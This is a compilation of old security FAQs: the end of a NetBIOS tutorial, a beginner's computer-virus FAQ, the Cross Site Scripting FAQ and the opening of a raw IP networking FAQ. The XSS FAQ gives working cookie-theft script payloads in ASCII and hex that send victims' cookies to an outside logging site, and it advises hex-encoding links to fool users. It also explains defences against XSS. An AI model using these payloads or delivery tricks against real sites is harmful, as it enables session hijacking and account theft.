files. To exploit these vulnerabilities you have to copy exploit code from sites
like neworder,securityfocus etc and comiple them.



The two most common vulnerabilities found in NetBIOS are



Vulnerability 1



Vulnerability 2



Another vulnerability that has been foud recently is that one can launch a DoS
attack against winodws NT,2000,XP,.NET system. For detailed information and pacth
plz visit this link http://www.microsoft.com/technet/treeview/...in/MS02-045.asp.


I have checked my web servers that are still vulnerable to this type of attack.








_____________________________________________



How to protect yourself



Please visit windowsupdate.microsoft.com and let the windows update itself.



_____________________________________________



The above tutorial has been written by Gaurav Kumar



If you need more help please feel free to email me gkverma@msn.com

Computer Virus FAQ for New Users


This FAQ answers some of the questions that new users ask about
computer viruses and Trojan horse programs. It also tries to clear up some common
misconceptions about viruses and E-mail.

If you need help with a virus infection or want more advanced information about
viruses, please see 'Dealing with virus infections:' and 'Sources of additional
information: near the end of this FAQ.


And if you don't read anything else, at least read the very first topic: "Why
should I care...".






Why should I care?
1 What is
a virus?


2. What kind of files can spread viruses?
3.
How do viruses spread?

4. What do viruses do to computers?

5. What is a Trojan horse program?
6.
What's the story on viruses and E-mail?

7. What can
I do to reduce the chance of getting viruses from E-mail?



Some general tips on avoiding virus infections:
Dealing
with virus infections

What is the best anti-virus
software available?

Sources of additional information

 


Why should I care?[top]


Why should I care about computer viruses? Isn't all this just a bunch of hype
drummed up by marketing departments for anti-virus software companies?


I'm writing this in early May 1999. For the past week, the alt.comp.virus
newsgroup has been flooded with pleas for help from people whose computers were
clobbered by the CIH virus, which activated on April 26. Many of those people
wound up having to put in large amounts of time and effort to get their computers
operational; some people have had to buy replacement chips or pay for a repair
shop to get their systems back in operation. And some of those people have lost
data they will never be able to replace.



Yet the CIH virus was well-known almost a year before it activated, and virtually
every single current anti-virus program could handle it. But a lot of people
didn't have a-v software, and many of those who did have it didn't use it regularly
or keep it updated.



So a lot of people lost time, money, and irreplaceable data when the CIH virus
activated simply because they didn't take basic precautions to protect themselves.



The virus threat is not going away: from reading the alt.comp.virus newsgroup,
it's obvious that there are lots of people who would just love to create the
same kind of havoc with their own virus creations.


------------------------


1. What is a computer virus? [top]


A computer virus is a program designed to spread itself by first infecting
executable files or the system areas of hard and floppy disks and then making
copies of itself. Viruses usually operate without the knowledge or desire of
the computer user.


2. What kind of files can spread viruses?
[top]


Viruses have the potential to infect any type of executable code, not just
the files that are commonly called 'program files'. For example, some viruses
infect executable code in the boot sector of floppy disks or in system areas
of hard drives. Another type of virus, known as a 'macro' virus, can infect
word processing and spreadsheet documents that use macros. And it's possible
for HTML documents containing JavaScript or other types of executable code to
spread viruses or other malicious code.


Since virus code must be executed to have any effect, files that the computer
treats as pure data are safe. This includes graphics and sound files such as
.gif, .jpg, .mp3, .wav, etc., as well as plain text in .txt files. For example,
just viewing picture files won't infect your computer with a virus. The virus
code has to be in a form, such as an .exe program file or a Word .doc file,
that the computer will actually try to execute.


3. How do viruses spread? [top]


When you execute program code that's infected by a virus, the virus code will
also run and try to infect other programs, either on the same computer or on
other computers connected to it over a network . And the newly infected programs
will try to infect yet more programs.


When you share a copy of an infected file with other computer users, running
the file may also infect their computers; and files from those computers may
spread the infection to yet more computers.


If your computer is infected with a boot sector virus, the virus tries to write
copies of itself to the system areas of floppy disks and hard disks. Then the
infected floppy disks may infect other computers that boot from them, and the
virus copy on the hard disk will try to infect still more floppies.


Some viruses, known as 'multipartite' viruses, can spread both by infecting
files and by infecting the boot areas of floppy disks.


4. What do viruses do to computers? [top]


Viruses are software programs, and they can do the same things as any other
programs running on a computer. The actual effect of any particular virus depends
on how it was programmed by the person who wrote the virus.


Some viruses are deliberately designed to damage files or otherwise interfere
with your computer's operation, while others don't do anything but try to spread
themselves around. But even the ones that just spread themselves are harmful,
since they damage files and may cause other problems in the process of spreading.


Note that viruses can't do any damage to hardware: they won't melt down your
CPU, burn out your hard drive, cause your monitor to explode, etc. Warnings
about viruses that will physically destroy your computer are usually hoaxes,
not legitimate virus warnings.


5. What is a Trojan horse program? [top]


A type of program that is often confused with viruses is a 'Trojan horse' program.
This is not a virus, but simply a program (often harmful) that pretends to be
something else.


For example, you might download what you think is a new game; but when you
run it, it deletes files on your hard drive. Or the third time you start the
game, the program E-mails your saved passwords to another person.


Note: simply downloading a file to your computer won't activate a virus or
Trojan horse; you have to execute the code in the file to trigger it. This could
mean running a program file, or opening a Word/Excel document in a program (such
as Word or Excel) that can execute any macros in the document.


6. What's the story on viruses and E-mail? [top]


You can't get a virus just by reading a plain-text E-mail message or Usenet
post. What you have to watch out for are encoded messages containing embedded
executable code (i.e., JavaScript in an HTML message) or messages that include
an executable file attachment (i.e., an encoded program file or a Word document
containing macros).


In order to activate a virus or Trojan horse program, your computer has to
execute some type of code. This could be a program attached to an E-mail, a
Word document you downloaded from the Internet, or something received on a floppy
disk. There's no special hazard in files attached to Usenet posts or E-mail
messages: they're no more dangerous than any other file.


7. What can I do to reduce the chance of getting viruses
from E-mail?
[top]


Treat any file attachments that might contain executable code as carefully
as you would any other new files: save the attachment to disk and then check
it with an up-to-date virus scanner before opening the file.


If your E-mail or news software has the ability to automatically execute JavaScript,
Word macros, or other executable code contained in or attached to a message,
I strongly recommend that you disable this feature.


My personal feeling is that if an executable file shows up unexpectedly attached
to an E-mail, you should delete it unless you can positively verify what it
is, who it came from, and why it was sent to you.


The recent outbreak of the Melissa virus was a vivid demonstration of the need
to be extremely careful when you receive E-mail with attached files or documents.
Just because an E-mail appears to come from someone you trust, this does NOT
mean the file is safe or that the supposed sender had anything to do with it.


------------------------


Some general tips on avoiding virus infections: [top]


1. Install anti-virus software from a well-known, reputable company, UPDATE
it regularly, and USE it regularly.


New viruses come out every single day; an a-v program that hasn't been updated
for several months will not provide much protection against current viruses.


2. In addition to scanning for viruses on a regular basis, install an 'on access'
scanner (included in most good a-v software packages) and configure it to start
automatically each time you boot your system. This will protect your system
by checking for viruses each time your computer accesses an executable file.


3. Virus scan any new programs or other files that may contain executable code
before you run or open them, no matter where they come from. There have been
cases of commercially distributed floppy disks and CD-ROMs spreading virus infections.


4. Anti-virus programs aren't very good at detecting Trojan horse programs,
so be extremely careful about opening binary files and Word/Excel documents
from unknown or 'dubious' sources. This includes posts in binary newsgroups,
downloads from web/ftp sites that aren't well-known or don't have a good reputation,
and executable files unexpectedly received as attachments to E-mail or during
an on-line chat session.


5. If your E-mail or news software has the ability to automatically execute
JavaScript, Word macros, or other executable code contained in or attached to
a message, I strongly recommend that you disable this feature.


6. Be _extremely_ careful about accepting programs or other files during on-line
chat sessions: this seems to be one of the more common means that people wind
up with virus or Trojan horse problems. And if any other family members (especially
younger ones) use the computer, make sure they know not to accept any files
while using chat.


7. Do regular backups. Some viruses and Trojan horse programs will erase or
corrupt files on your hard drive, and a recent backup may be the only way to
recover your data.


Ideally, you should back up your entire system on a regular basis. If this
isn't practical, at least backup files that you can't afford to lose or that
would be difficult to replace: documents, bookmark files, address books, important
E-mail, etc.


------------------------


Dealing with virus infections: [top]


First, keep in mind "Nick's First Law of Computer Virus Complaints":


"Just because your computer is acting strangely or one of your programs
doesn't work right, this does NOT mean that your computer has a virus."


1. If you haven't used a good, up-to-date anti-virus program on your computer,
do that first. Many problems blamed on viruses are actually caused by software
configuration errors or other problems that have nothing to do with a virus.


2. If you do get infected by a virus, follow the directions in your anti-virus
program for cleaning it. If you have backup copies of the infected files, use
those to restore the files. Check the files you restore to make sure your backups
weren't infected.


3. For assistance, check the web site and support services for your anti-virus
software.



4. The "[alt.comp.virus] FAQ Part 1/4" (see below) includes an excellent
section on initial steps for dealing with a suspected virus infection.


5. For discussions about viruses and help dealing with them, visit <news:alt.comp.virus>
or <news:comp.virus>; please
check the newsgroup FAQs before posting. Keep in mind that posters in c.v and
in a.c.v, like posters in any newsgroup, have a wide range of technical expertise
and motivations.


Note: in general, drastic measures such as formatting your hard drive or using
FDISK should be avoided. They are frequently useless at cleaning a virus infection,
and may do more harm than good unless you're very knowledgeable about the effects
of the particular virus you're dealing with.


------------------------


What is the best anti-virus software available? [top]


Posters in the alt.comp.virus newsgroup have been discussing that for years
and still haven't reached a consensus. :-)


The following web sites have sections with reviews of various a-v programs:


<http://www.zdnet.com/pcmag/features/utilities98/antivirus/index.html>;


<http://www.uta.fi/laitokset/virus/>;


<http://agn-www.informatik.uni-hamburg.de/vtc/naveng.htm>>

------------------------


Sources of additional information: [top]


For more information, and advice on avoiding and dealing with virus infections,
see the FAQs for <news:comp.virus>
and <news:alt.comp.virus>:


"VIRUS-L/comp.virus Frequently Asked Questions (FAQ)" "[alt.comp.virus]
FAQ" (currently parts 1 to 4) "ALT.COMP.VIRUS MINI-FAQ - READ BEFORE
POSTING" "Viruses and the Mac FAQ"


You can find the FAQs in the above newsgroups, in <news:news.answers>,
or in the Usenet FAQ archive at <http://www.faqs.org/faqs/computer-virus>.>

Another source of information is the data on the web sites of anti-virus software
companies. You can find many anti-virus software companies listed in the Virus' Target='_BLANK'>http://www.yahoo.com/Business_and_Economy/Companies/Computers/Software/System_Utilities/Utilities/Virus_Protection/">irus
Protection section of the Yahoo directory, at


Links to a variety of pages with virus-related information can be found in
the
Virus section
of Yahoo, at


A useful site for Macintosh virus information is <http://www.macvirus.com/>.>

The newsgroups <news:comp.virus>
and <news:alt.comp.virus>
are available for information, assistance, and discussions of all aspects of
computer viruses. Please check the FAQs before posting.


For information about some of the virus hoaxes and bogus warnings that you
may run into on-line, see my 'Scams and Hoaxes FAQ', available at <http://www.faqs.org/faqs/net-abuse-faq/scams/>;
or in the newsgroup <news:news.newusers.questions>.


Note: this FAQ is updated occasionally. Copies posted to the new user newsgroups
should be current, but if you found this FAQ somewhere else, please see <http://www.faqs.org/faqs/computer-virus/new-users>;
for the latest version


The Cross Site Scripting FAQ


Revised 7/18/02



Introduction

What is Cross Site Scripting?

What does XSS and CSS mean?

What are the threats of Cross Site Scripting?

What are some examples of cross site scripting attacks?

Can you show me what cookie theft looks like?

What can I do to protect myself as a vendor?

What can I do to protect myself as a user?

How common are CSS/XSS holes?

Does encryption protect me?

Can CSS/XSS holes allow command execution?

What if I don't feel like fixing a CSS/XSS Hole?

What are some links I can visit to help me further understand
XSS?



Introduction



Websites today are more complex than ever, containing a lot of dynamic content
making the experience for the user more enjoyable. Dynamic content is achieved
through the use of web applications which can deliver different output to
a user depending on their settings and needs. Dynamic websites have a threat
that static websites don't, called "Cross Site Scripting" (or XSS dubbed by
other security professionals). Currently small informational tidbits about
Cross Site Scripting holes exist but none really explain them to an average
person or administrator. This FAQ was written to provide a better understanding
of this emerging threat, and to give guidance on detection and prevention.

"What is Cross Site Scripting?"



Cross site scripting (also known as XSS) occurs when a web application gathers
malicious data from a user. The data is usually gathered in the form of a
hyperlink which contains malicious content within it. The user will most likely
click on this link from another website, web board, email, or from an instant
message. Usually the attacker will encode the malicious portion of the link
to the site in HEX (or other encoding methods) so the request is less suspicious
looking to the user when clicked on. After the data is collected by the web
application, it creates an output page for the user containing the malicious
data that was originally sent to it, but in a manner to make it appear as
valid content from the website.

"What does XSS and CSS mean?"



Often people refer to Cross Site Scripting as CSS. There has been a lot
of confusion with Cascading Style Sheets (CSS) and cross site scripting. Some
security people refer to Cross Site Scripting as XSS. If you hear someone
say "I found a XSS hole", they are talking about Cross Site Scripting for
certain.

"What are the threats of Cross Site Scripting?"


Often attackers will inject JavaScript, VBScript, ActiveX, HTML, or
Flash to fool a user (Read below for further details), or gather data from them.
Everything from account hijacking, changing of user settings, cookie theft/poisoning,
or false advertising is possible. New malicious uses are being found every day
for XSS attacks. The post below by Brett Moore brings up a good point with regard
to "Denial Of Service", and potential "auto-attacking" of hosts if a user simply
reads a post on a message board. http://archives.neohapsis.com/archives/vuln-dev/2002-q1/0311.html>http://archives.neohapsis.com/archives/vuln-dev/2002-q1/0311.html>

"What are some examples of cross site scripting attacks?"



One product with many XSS holes is the popular PHP program PHPnuke. This
product is often targeted by attackers to probe for XSS holes because of its
popularity. I have included a few links of advisories/reports that have been
discovered and disclosed just from this product alone. The following collection
should provide plenty of examples.



http://www.cgisecurity.com/archive/php/phpNuke_cross_site_scripting.txt>http://www.cgisecurity.com/archive/php/phpNuke_cross_site_scripting.txt>
http://www.cgisecurity.com/archive/php/phpNuke_CSS_5_holes.txt>http://www.cgisecurity.com/archive/php/phpNuke_CSS_5_holes.txt>
http://www.cgisecurity.com/archive/php/phpNuke_2_more_CSS_holes.txt>http://www.cgisecurity.com/archive/php/phpNuke_2_more_CSS_holes.txt>

"Can you show me what XSS cookie theft looks like?"



Depending on the particular web application some of the variables and positioning
of the injections may need to be adjusted. Keep in mind the following is a
simple example of an attacker's methodology.



Step 1: Targeting


After you have found an XSS hole in a web application on a website, check
to see if it issues cookies. If any part of the website uses cookies, then
it is possible to steal them from its users.

Step 2: Testing


Since XSS holes are different in how they are exploited, some testing will
need to be done in order to make the output believable. By inserting code
into the script, its output will be changed and the page may appear broken.
(The end result is crucial and the attacker will have to do some touching
up in the code to make the page appear normal.) Next you will need to insert
some Javascript (or other client side scripting language) into the URL pointing
to the part of the site which is vulnerable. Below I have provided a few links
that are for public use when testing for XSS holes. These links below, when
clicked on will send the users cookie to www.cgisecurity.com/cgi-bin/cookie.cgi
and will display it. If you see a page displaying a cookie then session hijacking
of the user's account may be possible.

Cookie theft Javascript Examples.

A example of usage is below.



ASCII Usage:


http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?
'%20+document.cookie</script>

Hex Usage:


http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f>
%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79

%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%

75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e

NOTE: The request is first shown in ASCII, then in Hex for copy and paste
purposes.



1. "><script>document.location='
http://www.cgisecurity.com/cgi-bin/cookie.cgi?'
+document.cookie</script> HEX %22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27

%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69

%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f

%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e



2. <script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?'
+document.cookie</script> HEX %3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74

%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e

%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c

%2f%73%63%72%69%70%74%3e



3. ><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?'
+document.cookie</script> HEX %3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74

%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69

%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65

%3c%2f%73%63%72%69%70%74%3e

These are the examples of "evil" Javascript we will be using. These Javascript
examples gather the users cookie and then send a request to the cgisecurity.com
website with the cookie in the query. My script on cgisecurity.com logs each
request and each cookie. In simple terms it is doing the following:



My cookie = user=zeno; id=021

My script = www.cgisecurity.com/cgi-bin/cookie.cgi>


It sends a request to my site that looks like this.



GET /cgi-bin/cookie.cgi?user=zeno;%20id=021 (Note: %20 is a hex encoding for
a space)



This is a primitive but effective way of grabbing a user's cookie. Logs
of the use of this public script can be found at
http://www.cgisecurity.com/articles/cookie-theft.log>www.cgisecurity.com/articles/cookie-theft.log>

Step 3: XSS Execution


Hand out your crafted url or use email or other related software to help
launch it. Make sure that if you provide the URL to the user(through email,
aim, or other means) that you at least HEX encode it. The code is obviously
suspicious looking but a bunch of hex characters may fool a few people.



In my example I only forward the user to cookie.cgi. A attacker with more
time could do a few redirects and XSS combo's to steal the user's cookie,
and return them to the website without noticing the cookie theft.

Some email programs may execute the Javascript upon the opening of a message
or if the Javascript is contained in a message attachment. Larger sites like
Hotmail do allow Javascript inside attachments but they do special filtering
to prevent cookie theft.

Step 4: What to do with this data


Once you have gotten the user to execute the XSS hole, the data is collected
and sent to your CGI script. Now that you have the cookie you can use a tool
like Websleuth to see if account hijacking is possible.

This is only a FAQ, not a detailed paper on cookie theft and modification.
A new paper released by David Endler of iDefense goes into more detail on
some of the ways to automatically launch XSS holes. This paper can be found
at
http://www.idefense.com/XSS.html>http://www.idefense.com/XSS.html>.



"What can I do to protect myself as a vendor?"



This is a simple answer. Never trust user input and always filter metacharacters.
This will eliminate the majority of XSS attacks. Converting < and > to &lt;
and &gt; is also suggested when it comes to script
output. Remember XSS holes can be damaging and costly to your business if
abused. Often attackers will disclose these holes to the public, which can
erode customer and public confidence in the security and privacy of your organization's
site. Filtering < and > alone will not solve all cross site scripting attacks
and it is suggested you also attempt to filter out ( and ) by translating
them to &#40; and &#41;, and also # and
& by translating them to &#35 (#) and &#38
(&).

"What can I do to protect myself as a user?"



The easiest way to protect yourself as a user is to only follow links from
the main website you wish to view. If you visit one website and it links to
CNN for example, instead of clicking on it visit CNN's main site and use its
search engine to find the content. This will probably eliminate ninety percent
of the problem. Sometimes XSS can be executed automatically when you open
an email or attachment. If you are receiving email from a person you don't
know (or don't like) don't trust anything it has to say. Another way to protect
yourself is to turn off Javascript in your browser settings. In IE turn your
security settings to high. This can prevent cookie theft, and in general is
a safer thing to do.


"How common are XSS holes?"



Cross site scripting holes are gaining popularity among hackers as easy
holes to find in large websites. Websites from FBI.gov, CNN.com, Time.com,
Ebay, Yahoo, Apple computer, Microsoft, Zdnet, Wired, and Newsbytes have all
had one form or another of XSS bugs.

Every month roughly 10-25 XSS holes are found in commercial products and
advisories are published explaining the threat.


"Does encryption protect me?"



Websites that use SSL (https) are in no way more protected than websites
that are not encrypted. The web applications work the same way as before,
except the attack is taking place in an encrypted connection. People often
think that because they see the lock on their browser it means everything
is secure. This just isn't the case.


"Can XSS holes allow command execution?"



XSS holes can allow Javascript insertion, which may allow for limited execution.
If an attacker were to exploit a browser flaw (browser hole) it could then
be possible to execute commands on the client's side. If command execution
were possible it would only be possible on the client side. In simple terms
XSS holes can be used to help exploit other holes that may exist in your browser.


"What if I don't feel like fixing a CSS/XSS Hole?"



By not fixing an XSS hole this could allow possible user account compromise
in portions of your site as they get added or updated. Cross Site Scripting
has been found in various large sites recently and have been widely publicized.
Left unrepaired, someone may discover it and publish a warning about your
company. This may damage your company's reputation, depicting it as being
lax on security matters. This of course also sends the message to your clients
that you aren't dealing with every problem that arises, which turns into a
trust issue. If your client doesn't trust you why would they wish to do business
with you?


"What are some links I can visit to help me further understand XSS?"



"Cross-site' Target='_BLANK'>http://www.usatoday.com/life/cyber/tech/2001-08-31-hotmail-security-side.htm">"Cross-site
scripting tears holes in Net security"



Article' Target='_BLANK'>http://www.perl.com/pub/a/2002/02/20/css.html">Article on XSS holes



"CERT' Target='_BLANK'>http://www.cert.org/advisories/CA-2000-02.html">"CERT Advisory CA-2000-02
Malicious HTML Tags Embedded in Client Web Requests"



Paper' Target='_BLANK'>http://www.cert.org/tech_tips/cgi_metacharacters.html">Paper on Removing
Meta-characters from User Supplied Data in CGI Scripts.



Paper' Target='_BLANK'>http://eyeonsecurity.net/papers/passporthijack.html">Paper on Microsoft's
Passport System



Paper' Target='_BLANK'>http://www.eccentrix.com/education/b0iler/tutorials/javascript.htm#cookies">Paper
on Cookie Theft





The webappsec mailing list (Visit www.securityfocus for details)

webappsec@securityfocus.com>


Many Thanks to David Endler for reviewing this document.

Published to the Public May 2002

Copyright May 2002 Cgisecurity.com


Raw IP Networking FAQ

Version 1.3






Last Modified on: Thu Nov 11 18:18:19 PST 1999





The master copy of this FAQ is currently kept at





http://www.whitefang.com/rin/





The webpage also contains material that supplements this FAQ, along
with a very spiffy html version.





If you wish to mirror it officially, please contact me for details.




Copyright



I, Thamer Al-Herbish reserve a collective copyright on this FAQ. Individual
contributions made to this FAQ are the intellectual property of the contributor.



I am responsible for the validity of all information found in this FAQ.



This FAQ may contain errors, or inaccurate material. Use it at your
own risk. Although an effort is made to keep all the material presented
here accurate, the contributors and maintainer of this FAQ will not be
held responsible for any damage -- direct or indirect -- which may result
from inaccuracies.



You may redistribute this document as long as you keep it in its current
form, without any modifications. Please keep it updated if you decide
to place it on a publicly accessible server.



Introduction



The following FAQ attempts to answer questions regarding raw IP or low
level IP networking, including raw sockets, and network monitoring APIs
such as BPF and DLPI.



Additions and Contributions



If you find anything you can add, have some corrections for me or would
like a question answered, please send email to:



Thamer Al-Herbish href="mailto:shadows@whitefang.com"> &lt;shadows@whitefang.com>;



Please remember to include whether or not you want your email address
reproduced on the FAQ (if you're contributing). Also remember that you
may want to post your question to Usenet, instead of sending it to me.
If you get a response which is not found on this FAQ, and you feel is
relevant, mail me both copies and I'll attempt to include it.



Also a word on raw socket bugs. I get approximately a couple of emails
a month about them, and sometimes I just can't verify if the bug exists
on a said system. Before mailing in the report, double check with my example
source code. If it looks like it's a definite bug, then mail it in.



Special thanks to John W. Temples href="mailto:john@whitefang.com">
&lt;john@whitefang.com>; for his constant healthy criticism and
editing of the FAQ.



Credit is given to the contributor as his/her contribution appears in
the FAQ, along with a list of all contributors at the end of this document.



A final note, a Raw IP Networking mailing list is up. You can join by
sending an empty message to href="mailto:rawip-subscribe@whitefang.com">
rawip-subscribe@whitefang.com



Caveat



This FAQ covers only information relevant to the UNIX environment.



Table of Contents









  • 1) General Questions:





    • 1.1) What tools/sniffers can I use to monitor
      my network?



      Depending on your operating system, the following is an incomplete
      list of available tools:

























































      tcpdump: Found out-of-the-box
      on most BSD variants, and also available separately from
      ftp://ftp.ee.lbl.gov/tcpdump.tar.Z
      along with libpcap
      (see below) and various other tools. This tool, in particular,
      has been ported to multiple platforms thanks to libpcap.
      ipgrab Compatible with
      many systems. ipgrab displays link level, transport level,
      and network level information on packets captured verbosely.
      http://www.xnet.com/~cathmike/MSB/Software/
      Ethereal (GUI) A network
      packet analyzer (uses GTK+). Supports many systems. Available
      at: http://ethereal.zing.org/
      tcptrace:
      http://jarok.cs.ohiou.edu/software/tcptrace/tcptrace.html
      Not an actual sniffer, but can read from the logs produced
      by many other well known sniffers to produce output in different
      formats and in adjustable details (includes diagnostics).
      tcpflow
      http://www.circlemud.org/~jelson/software/tcpflow/ tcpflow
      is a program that captures data transmitted as part of TCP
      connections (flows), and stores the data in a way that is
      convenient for protocol analysis or debugging.
      snoop: Solaris, IRIX.
      etherfind: SunOS.
      Packetman: SunOS, DEC-MIPS,
      SGI, DEC-Alpha, and Solaris. Available at
      ftp://ftp.cs.curtin.edu.au:/pub/netman/
      nettl/ntfmt:
      HP/UX







    • 1.2) What packet capturing facilities are available?



      Depending on your operating system (different versions may vary):



















































      BPF: Berkeley Packet
      Filter. Commonly found on BSD variants.
      DLPI: Data Link Provider
      Interface. Solaris, HP-UX, SCO Openserver.
      NIT: Network Interface
      Tap. SunOS 3.
      SNOOP: (???). IRIX.
      SNIT: STREAMS Network
      Interface Tap. SunOS 4.
      SOCK_PACKET:
      Linux.
      LSF: Linux Socket Filter.
      Is available on Linux 2.1.75 onwards.
      drain: Used to snoop packets
      dropped by the OS. IRIX.







    • 1.3) Is there a portable API I can use to capture
      packets?



      Yes. libpcap from
      ftp://ftp.ee.lbl.gov/libpcap.tar.Z
      attempts to provide a
      single API that interfaces with different OS-dependent packet
      capturing APIs. It's always best, of course, to learn the underlying
      APIs in case this library might hide some interesting features.
      It's important to warn the reader that I have seen different versions
      of libpcap break backward compatibility.





    • 1.4) How does a packet capturing facility work?



      The exact details are dependent on the operating system. However,
      the following will attempt to illustrate the usual technique used
      in various implementations:



      The user process opens a device or issues a system call which
      gives it a descriptor with which it can read packets off the wire.
      The kernel then passes the packets straight to the process.



      However, this wouldn't work too well on a busy network or a
      slow machine. The user process has to read the packets as fast
      as they appear on the network. That's where buffering and packet
      filtering come in.



      The kernel will buffer up to X bytes of packet data, and pass
      the packets one by one at the user's request. If the amount exceeds
      a certain limit (resources are finite), the packets are dropped
      and are not placed in the buffer.



      Packet filters allow a process to dictate which packets it's
      interested in. The usual way is to have a set of opcodes for routines
      to perform on the packet, reading values off it, and deciding
      whether or not it's wanted. These opcodes usually perform very
      simple operations, allowing powerful filters to be constructed.



      BPF filters and then buffers; this is optimal since the buffer
      only contains packets that are interesting to the process. It's
      hoped that the filter cuts down the amount of packets buffered
      to stop overflowing the buffer, which leads to packet loss.



      NIT, unfortunately, does not do this; it applies the filter
      after buffering, when the user process starts to read from the
      buffered data.



      According to route href="mailto:route@infonexus.com"> &lt;route@infonexus.com>;
      Linux' SOCK_PACKET does not do any buffering and has no kernel
      filtering.



      Your mileage may vary with other packet capturing facilities.





    • 1.5) How do I limit packet loss when sniffing
      a network?



      If you're experiencing a lot of packet loss, you may want to
      limit the scope of the packets read by using filters. This will
      only work if the filtering is done before any buffering. If this
      still doesn't work because your packet capturing facility is broken
      like NIT, you'll have to read the packets faster in a user process
      and send them to another process -- basically attempt to do additional
      buffering in user space.



      Another way of improving performance, is by using a larger buffer.
      On Irix using SNOOP, the man page recommends using SO_RCVBUF.
      On BSD with BPF one can use the BIOCSBLEN ioctl call to increase
      the buffer size. On Solaris bufmod and pfmod can be used for altering
      buffer size and filters respectively.



      Remember, the longer your process is busy and not attending
      the incoming packets, the quicker they'll be dropped by the kernel.





    • 1.6) What is packet capturing usually used for?



      (Question suggested by Michael T. Stolarchuk href="mailto:mts@rare.net">
      &lt;mts@rare.net>; along with some suggestions for the
      answer.)






      • Network diagnostics such as the verification of a network's
        setup, examples are tools like arp, that report the ARP messages
        sent from hosts.





      • Reconstruction of end to end sessions. tcpshow attempts to
        do this, but more sophisticated examples are the array of
        security tools which try to keep tabs on network connections.





      • Monitoring network load. Probably one of the most practical
        uses, a lot of commercial products usually use specialized
        hardware to accomplish this.







    • 1.7) Will I have to replace any packets captured
      off the network?



      No, the packet capturing facilities mentioned make copies of
      the packets, and do not remove them from the system's TCP/IP stack.
      If you wish to prevent packets from reaching the TCP/IP stack
      you need to use a firewall, (which should be able to do packet
      filtering). Don't confuse the packet filtering done by packet
      capturing facilities with those done by firewalls. They serve
      different purposes.





    • 1.8) Is there a portable API to send raw packets
      into a network?



      Yes, route href="mailto:routeroute@infonexus.com"> &lt;route@infonexus.com>;
      maintains Libnet, a library that provides an API for low
      level packet writing and handling. It serves as a good compliment
      for libpcap, if you wish to read and write packets. The project's
      webpage can be found at:



      http://www.packetfactory.net/libnet/





    • 1.9) Are there any high level language APIs
      (Not C) for raw IP access?



      A PERL module that gives access to raw sockets is available at:



      http://quake.skif.net/RawIP/